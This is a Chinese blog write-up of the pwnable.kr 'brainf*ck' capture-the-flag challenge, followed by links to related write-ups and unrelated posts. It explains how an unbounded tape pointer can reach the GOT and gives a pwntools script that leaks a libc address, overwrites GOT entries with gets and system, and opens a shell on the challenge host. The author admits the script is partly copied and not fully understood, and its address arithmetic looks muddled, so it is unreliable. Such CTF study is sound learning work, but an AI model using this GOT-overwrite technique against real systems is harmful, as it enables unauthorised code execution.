pwnable.kr之brainf*ck

今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获。

不多说了,今天看的是第二关的第一道题:brainf*ck。这道题实现了一个brainfuck解释器,从思路上来讲可以说是很秀了,核心思想是通过对指针的操作来改写got.plt表,从而劫持数据流。程序结构比较简单,我们先通过IDA看一下程序的结构。

brainf*ck这个函数里面,如果输入是一些特殊符号,会对p这个指针进行一个操作,p这个指针位于bss段。

这里看到不仅有一个p指针,还有一个tape指针,tape这个指针我们通过静态分析没办法直观的知道他的作用,这时候用gdb动态调试一下,在brainfuck函数的break处下一个断点,然后只输入一下特定的几个字符,只观察bss段的内容,就可以清晰地看出:p指针处存放的是tape的地址,tape处存放的是值。brainfuck里面,">","<"是对p指针进行操作,“+”,“-”是对指针指向的地址上的值进行操作。

到这里我没有思路,卡住了。

这里我觉得这道题的精华来了:可输入空间很大,但是got.plt表和bss段之间的距离很小,同时,它让我们可以对指针进行操作,但是没有规定操作的范围。所以,可以通过do_brainfunck函数来修改got.plt表的内容。

覆写got表那里,应该是这样的操作:,>

写入一个值,然后指针移动一个字节,写入下一个字节

泄露地址的时候,应该是这样的操作:.>

输出一个值,然后指针移动一个字节,输出下一个字节

程序在进入do_brainfuck函数之前,调用过puts函数的地址,所以got.plt表中有puts函数的实际地址

from pwn import *

context.log_level='debug'
DEBUG=1
if DEBUG:
io=process('./bf')
else:
io=remote('pwnable.kr',9001) elf=ELF('./bf')
libc=ELF('./bf_libc.so') tape_addr=0x0804A0A0
fgets_addr=0x08048450
main_addr=0x08048671
strlen_addr=0x0804A020
putchar_addr=0x0804A030
memset_addr=0x0804A02C gets_sym=libc.sym['gets']
system_sym=libc.sym['system']
puts_sym=libc.sym['puts'] payload=''
payload+='<'*(tape_addr-putchar_addr)
payload+='.'
payload+='.>.>.>.>'
payload+='<<<<'+',>,>,>,>'
payload+='<<<<'*4+',>,>,>,>'+'<<<<'
payload+='<'*(strlen_addr-fgets_addr)+',>,>,>,>'
payload+='<'*(putchar_addr-fgets_addr+4)
payload+='.' io.recv()
io.send(payload)
io.recv(1)
putchar_addr=u32(io.recv(4))
offset1=system_sym-putchar_addr
offset2=gets_sym-putchar_addr
system_addr=putchar_addr+offset1
gets_addr=putchar_addr+offset2
io.send(p32(main_addr))
io.send(p32(gets_addr))
io.send(p32(system_addr)) io.sendline('/bin/sh\x00')
io.interactive()

发送地址的时候有EOFError的问题,还没有想明白,根据别人的wp复现了。

先放在这里,看看有哪位路过的师傅能不能帮我解答,或者以后我想明白了再改吧。

pwnable.kr之brainf*ck的更多相关文章

  1. pwnable.kr brainfuck之write up

    I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...

  2. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  3. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  4. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  5. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  6. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  7. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

  8. pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目 ...

  9. pwnable.kr第二天

    3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...

随机推荐

  1. QL Server 创建用户时报错:15023 用户,组或角色'XXX'在当前数据库中已存在?

    在使用SQL Server 2000时,我们经常会遇到一个情况:需要把一台服务器上的数据库转移到另外一台服务器上.而转移完成后,需要给一个"登录"关联一个"用户" ...

  2. Pygame 入门基本指南

    最近正在利用 Python 制作一个小游戏,但对于 Pygame 不熟悉,故在学习的过程记录相关知识点 Pygame 中文文档下载:Here Pygame第1-1课:入门 什么是Pygame? Pyg ...

  3. OpenMVG 系列 (1):入门简介

    1  OpenMVG 简介  全称 Open Multiple View Geometry,是法国人 Pierre Moulon 读博期间开源的一个 C++ 库 最早版本 OpenMVG 0.1 是 ...

  4. 搭建Nexus3私服(含使用说明,支持CentOS、Windows)

    官方文档 Nexus仓库介绍(支持maven.yum.docker私服等) 仓库分为三种: proxy:是远程仓库的代理.比如说在nexus中配置了一个central repository的proxy ...

  5. Spring缓存的注解关键词解释

    Spring缓存的注解关键词解释 @Cacheable支持缓存 @Cacheable可以标记在一个方法上,也可以标记在一个类上. 1.当标记在一个方法上时表示该方法是支持缓存的,当标记在一个类上时则表 ...

  6. Mybatis学习(5)与spring3集成

    在这一系列文章中,前面讲到纯粹用mybatis 连接数据库,然后 进行增删改查,以及多表联合查询的的例子,但实际项目中,通常会用 spring 这个沾合剂来管理 datasource 等.充分利用sp ...

  7. 第九章 身体质量指数BMI的python实现

    身体质量指数BMI:对身体质量的刻画(Body Mass Index) 国际上常用的衡量人体肥胖和健康程度的重要标准,主要用于统计分析 定义: BMI=体重(kg)/身高^2(m2) 提出问题: 实例 ...

  8. Codeforces Round#704 Div2 题解(A,B,C,D,E)

    FST ROUND !!1 A Three swimmers: 直接整除一下向上取整就好了: #include <bits/stdc++.h> using namespace std; t ...

  9. DNS域名解析四种配置实验 ---Linux DNS域名解析服务

    DNS域名解析服务一.BIND域名服务基础1) DNS的定义2)域名结构3)DNS系统的作用① 正向解析:根据域名查找对应的IP地址② 反向解析:根据IP地址查找对应的域名③ DNS系统的分布式数据结 ...

  10. VRRP概述作用及配置

    文章目录 VRRP的概述 VRRP的作用 虚拟路由器 Master报文的发送 VRRP状态机 VRRP华为命令配置 VRRP的概述1.利用VRRP,一组路由器(同一个LAN中的接口),协同工作,但是只 ...